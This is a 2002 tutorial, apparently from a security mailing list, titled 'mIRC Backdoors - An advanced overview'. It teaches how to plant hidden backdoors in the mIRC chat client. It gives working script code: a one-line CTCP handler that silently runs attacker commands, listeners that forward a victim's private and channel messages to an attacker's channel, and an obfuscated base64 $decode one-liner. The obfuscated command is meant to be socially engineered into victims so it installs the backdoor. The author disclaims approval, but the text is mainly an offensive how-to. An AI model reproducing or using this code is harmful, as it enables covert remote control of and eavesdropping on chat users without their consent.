mIRC backdoors - an advanced overview

[ReDeeMeR <g0tr00t () usa net>]

Find below a paper written on the topic of mIRC backdoors.

Alternatively, find  a real world URL at 

http://packetstormsecurity.nl/irc/mIRC.txt 

or 

http://shells.cyberarmy.com/~johnr/docs/misc/backdoormircupdated.txt

Thanks,
-ReDeeMeR-

redeemer () g0tr00t net
http://www.g0tr00t.net


-----------------------------------------------------------------------

-=[ mIRC Backdoors - An advanced overview ]=-

Started on Wed 30th January 2002 20:17
Completed on Mon 11th February 2002 12:09
Original paper was written in May 2001

Now Playing: The Ataris - San Dimas High School Football Rules.mp3

-ReDeeMeR-
www.g0tr00t.net
redeemer () g0tr00t net

This document is ©ReDeeMeR and NO PARTS MAY BE TAKEN OR                         
MODIFIED without the authors permission.

-=[------ Authors' Note ------]=-

Backdooring somebody's IRC client is *not* "cool". You are not "leet" if you
do this.
I do not condone it in any way whatsoever. In fact I take an immediate dislike
to
people who do participate in this activity (and activities of a similar
nature).
I am writing this paper for one sole reason; a guy e-mailed me and asked me to
write up
some stuff on the topic for his paper on backdoors.

Please note: An intermediate/advanced knowledge in mIRC and the mIRC scripting
language
             is ideal before reading this tutorial, although not essential.

-=[------ Introduction ------]=-

Okay, so what is mIRC? Why do we want to backdoor it? What do we gain from
backdooring
it? There are many questions and there are an infinite number of answers.
Basically,
mIRC is an IRC client written for Windows. IRC (Internet Relay Chat) is a
protocol which
is essentially a service running to host "chat rooms". More information on the
IRC 
protocol can be found at -(http://www.mirc.co.uk/help/rfc1459.txt)-. mIRC
itself is now
fairly advanced, it started out as a bog standard (GUI) IRC client and has
evolved into
the world's favourite IRC client. As it evolved, the author (Khaled
Mardam-Bey) designed
a scripting language for mIRC, the "mIRC scripting language", funnily enough.
This small
language is only interpretable in the mIRC client; there are no "mIRC script"
compilers
 or interpreters available. This new add-on enabled so many more new,
unexplored options 
to be used with mIRC - people could now write their own scripts to customise
their mIRC 
to how *they* want it. You could now do pretty much anything with mIRC, your
IRC client 
could now become your web browser, file server, FTP client, ICQ client,
whatever! Providing 
you wrote the script(s), it would do it. People became fluent in the mIRC
scripting language
and they started to release full mIRC scripts, which were add-ons if you like,
for the 
mIRC client which included many features which they had created for public
use. Some
scripts became very popular and thousands of people downloaded them. This new
scripting
language was now a success and the whole world was involved.

So, why does this interest us? Well, the mIRC scripting language is
essentially a complete
language, you can do _anything_ with it. You can write socket scripts to
connect to remote 
hosts, you can write war scripts to takeover IRC channels, you can write
popups to slap your
pals with trout’s, you can write !8ball scripts to keep everyone entertained.
The list is 
endless. But remember, I said you can do _anything_ with this language. There
are commands
which (over)write to disk, there are commands which read (and print) files.
Some of these
commands are dangerous when used in the wrong environment. But it doesn't stop
there.
There are some mIRC "remotes" (see mIRC.hlp, shipped with the mIRC client)
which can be used
to setup servers and backdoors, without the user noticing any differences.
This tutorial
is about these remotes and commands and how to use them in a dangerous way. I
will teach you
the basics of how mIRC backdoors work and will show a few examples of
backdoors.

-=[------ What remote listeners do we need to use? ------]=-

Okay well mIRC has many "remote listeners" (I am not sure of the actual term,
so I will use 
the term "remote listeners" from here onwards. This applies to a piece of
script which is in
the form "on *:EVENT:*:{ Commands here }", for example "on *:TEXT:*trout*:*:{
/say Ouch ! }")
and a lot of them are of no use to us for what we are trying to achieve. The
remote listeners
that we are interested in in this paper are:

ctcp *:*:*:{ }
on *:NICK:{ }
on *:JOIN:#:{ }
on *:TEXT:*::*:{ }
on *:QUIT:{ }
on *:PART:#:{ }

-=[------ Where do we begin? ------]=-

Alright, so hopefully we're now ready to look at an example of a mIRC
backdoor. This backdoor
is small, merely one line of code:
        ctcp ^*:DO:*:{ . $+ $2- | .halt }
Now, if you're looking at that and wondering "What the ..." then I suggest you
buck up your
knowledge of the mIRC scripting language before continuing, otherwise you will
find this hard
to understand. I'll break the code down for you and try to provide an
understandable 
explanation.

It starts with "ctcp ^*:", which tells the script to listen for any incoming
CTCP events (from
any user level (See mIRC.hlp "Access Levels")). If you didn't know that, then
do some reading.

Next we have "DO:" which tells the script that the ctcp event we are listening
for is DO (/ctcp
user DO, similar to /ctcp user PING, for example).

After that we come to a "*:" which tells the script that the ctcp event can be
in any form (this
is not important).

Then we have the open curly bracket which tells the script to execute the
commands enclosed in
the brackets if all of the above conditions are met. The command inside the
curly brackets is
". $+ $2- | .halt". The period/dot/full stop is a feature in mIRC which if
used, makes the 
commands executed "invisible" to the user -- they do not see them happening.
Try it yourself,
make a popup to slap somebody, but make it execute "/.me slaps you". So we
know that whatever
is executed in this remote listener will not be seen by our victim. Which is a
good thing, right?
After the period/dot/full stop we come to a dollar sign with a plus sign
appended to it. This
"attaches" one value to another. So if I printed "hell $+ o world" it would
print "hello world".
We tend to use $+ when appending one $variable to another, because a simple
$one$two would not
work. Following the $+ we have $2-, which takes the second value specified and
everything after
it (the "-" defines this. If it was merely $2 then it would just be the second
value specified).
So when someone executes /ctcp nickname DO blah blah, "DO" is the value
assigned to $1 and "blah"
is the value assigned to $2. The value assigned to $2- would be "blah blah".
Then it finishes with
"| .halt". This merely ends the first command and executes a second command,
".halt", which makes
everything that was executed before it not be seen by the victim.

So let's analyse what we have here. If somebody executes "/ctcp nickname DO
msg ReDeeMeR asdf",
what would happen? Ok, well, our remote listener is set to listen for an
incoming CTCP DO event
and if we receive one it then executes the command . $+ $2-, which in this
example would be
.msg ReDeeMeR asdf. So our victim would message user "ReDeeMeR" the text
"asdf" and the important
factor here is that they would not know they have done it -- they see
nothing.

There we have it, a working and functional backdoor, in one small line of
code! It is important to
remember that this backdoor is not used with "/ctcp nickname DO /msg ReDeeMeR
asdf", the forward
slash is not required, otherwise they would execute "./msg ReDeeMeR asdf",
which wouldn't work.

-=[------ Further advanced backdoors ------]=-

The backdoor which was explained above is all very well, but the user can be
lost, what if they part
all channels and then change their nickname? You may have lost them. So the
answer to this is that
you can create a more advanced backdoor which enables you to view the victims'
movements more
easily. The disadvantage of this backdoor type is that it requires more than
one line of code,
so hiding it in scripts is more difficult and socially engineering them to
paste it into their
remotes file will need more convincing. Before constructing this backdoor, we
need to record
all of the ways that our victim can escape us. Then we need to write some code
that will inform
us of any changes that may have an impact on our black hat activities
concerning them. So firstly,
we need to set up a "snooper" chan which will be used to monitor our victims'
movements. Anything
they do will be sent to this chan. In my example I will use the channel
"#hellsnooper", but you can
call your snooping chan whatever you wish, just make sure the chanmode is -n!

Once you have setup your snooper chan, you need to start constructing the
backdoor. Firstly you
need to write down all of the ways in which the victim can escape us. These
are what I came up
with a few years ago:

* QUIT - They can /quit IRC and you've lost them for good ... nothing we can
do about that
* PART - They can /part a #chan or even /partall
* NICK - They can change their nickname

These three events are the main ways in which our victim can escape our
attention. So we need to
code some remote listeners which either counter act these events or inform us
of the changes made.
Take a look at this code snippet:

on *:PART:#:{ .msg #hellsnooper I have just parted $chan }

Obviously, this would message #hellsnooper the details of the #chan(s) which
the victim has just
parted. So ideally the victim will now no longer be able to /partall AND lose
us. Remember that
the dot "." hides the command from the victim.

Next we need to counter act the /nick change, or inform us of the change. So
check out this code
snippet:

on *:NICK:{ .msg #hellsnooper My nickname is now $newnick (previously $nick )
}

This code informs us of the victims new nickname and it tells us what his old
nickname was, in
case we have multiple victims (dream on ;). Now our victim can not lose our
attention by changing
his nickname.

The only way to let us know if our victim has left IRC is to modify the /quit
alias. So in the
aliases section we need to add our new alias, like this:

/quit { .msg #hellsnooper I have /quit IRC (Reason: $1-) ! :( | .raw -q quit
$1- }

This new alias is exactly the same as the old /quit alias, the only difference
is that it messages
our #hellsnooper chan beforehand letting us know that the victim has left
IRC.

Those three remote listeners should cover any methods of escape, so now you
have a perfectly
functioning backdoor to play with. But what if you're more intrigued as to
what our victim gets up
to? Well you can monitor practically everything they do inside their mIRC
client whilst they're
connected to the same server as you are. Let's assume you're a nosey person
and you want to see
what your victim is typing in other #chans or windows. Take a look at the
following remote 
listener:

on *:TEXT:*:#:{ .msg #hellsnooper I have just said " $+ $1- $+ " in $chan }

By now I would imagine you can see what this remote listener does. Now look at
this remote listener:

on *:TEXT:*:?:{ .msg #hellsnooper I have just said " $+ $1- $+ " to $active }

Can you see what this one does? It does the same as the first, but it triggers
when the victim
types something in a window which is not a #chan. You may also want to create
a remote listener
for any events inside a DCC CHAT window. Use on *:TEXT:*:!:{ margh42 } to do
that.

You might want to see which #chans your victim is joining, so set this one up
too:

on *:JOIN:#:{ .msg #hellsnooper I have just joined $chan }

You can work out what that one does, for sure.

-=[------ So now what? I have my backdoor ready! ------]=-

OK, good, you're ready to infect your victim(s). But are you sure your
backdoor works completely?
You don't want to hand it out and then find that it doesn't work, because you
probably only have
one shot at this before the victim(s) become(s) suspicious. So the first thing
you must do is 
thoroughly check the backdoor to be certain that it is functional and
reliable. Once you have done
that you need to decide how you are going to spread the backdoor. There are
three (main) ways of 
doing this. Firstly, you can create an entire mIRC script and hide your
backdoors in there and 
hope that you victim(s) do not notice. That method is fine, but it only gains
you random victims,
you (usually) can't target somebody that way. Secondly, you can get the victim
to paste the remote
listeners into their remote files. This requires a victim who is completely
brain dead and they
must trust you totally. Thirdly, you can get them to type a few commands to
set it up. Check
this out:

/.timer 1 2 /.msg #ch0wn Owned ... | /.timer 1 10 /.load -rs c:\testing.mrc |
/.write c:\testing.mrc ctcp ^*:DO:*:{ . $chr(36) $+ $chr(43) $chr(36) $+ 2 $+
- $chr(124) $chr(46) $+ halt $chr(125)

This is all perfectly well and good, but most victims can see through that and
will bite your head
off for it. So you need to $encode it with something. Hit [F1] in mIRC and
look up $encode. It's
our lucky day! Basically the $encode function encodes a string into MIME type
or various other
(weak) encryption methods. But there is also a $decode function too. So what
you can do is encode
that command string above and get them to $decode it, which will execute it if
you tell them
to do it under the right circumstances.

Eg,
//$decode(Ly50aW1lciAxIDIgLy5tc2cgI2NoMHduIE93bmVkIC4uLiB8IC8udGltZXIgMSAxMCAvLmxvYWQgLXJzIGM6XHRlc3RpbmcubXJjIHwgLy53cml0ZSBjOlx0ZXN0aW5nLm1yYyBjdGNwIF4qOkRPOio6eyAuICRjaHIoMzYpICQrICRjaHIoNDMpICRjaHIoMzYpICQrIDIgJCsgLSAkY2hyKDEyNCkgJGNocig0NikgJCsgaGFsdCAkY2hyKDEyNSk=,m)

DON'T ACTUALLY TYPE THAT BECAUSE IT WILL BACKDOOR YOUR mIRC !

Now, can you dissect that $decode function to see what it does? I'll leave you
to it.

-=[------ Conclusion ------]=-

I think I have now provided you with enough knowledge about mIRC backdoors to
be aware of the risks
and how to practically implement some of the ideas shown. However, I must
stress that if you do
backdoor somebody’s mIRC without their consent, you could be in big trouble.
Participate at your own
risk. So to conclude this paper I would like to firstly thank you for reading
it. If you have any
constructive criticism, ideas, whatever, drop me a mail at
redeemer () g0tr00t net. For more papers
of a similar nature visit http://www.g0tr00t.net.

I'd like to thank the following people for their help/friendship over the
years (in no particular
order):
Yoshi, axem, think12, fugjostle, Chawmp, Enstyne, ChaOs, Emma, Lora, keoki,
_Penguin, Di]v[pLeS, Rob, Wang, 
deepthought, TheGame, ion6ix, cynik, Deem, barnseyboy, hexxeh, The_Itch,
port001, D-Cypell, 
wa1800z, 51, ToTaL, MrYowler, [-Th3Dud3-], Wazzerphuk, eidkik, Ginz^, Jules,
alien^^, Pandect, 
Jamie, XaN, [TaPpeD_BmX], freerider_uk and [MagicToast].

Thanks for your time.

-ReDeeMeR-
redeemer () g0tr00t net
www.g0tr00t.net

Word count: 2538

EOF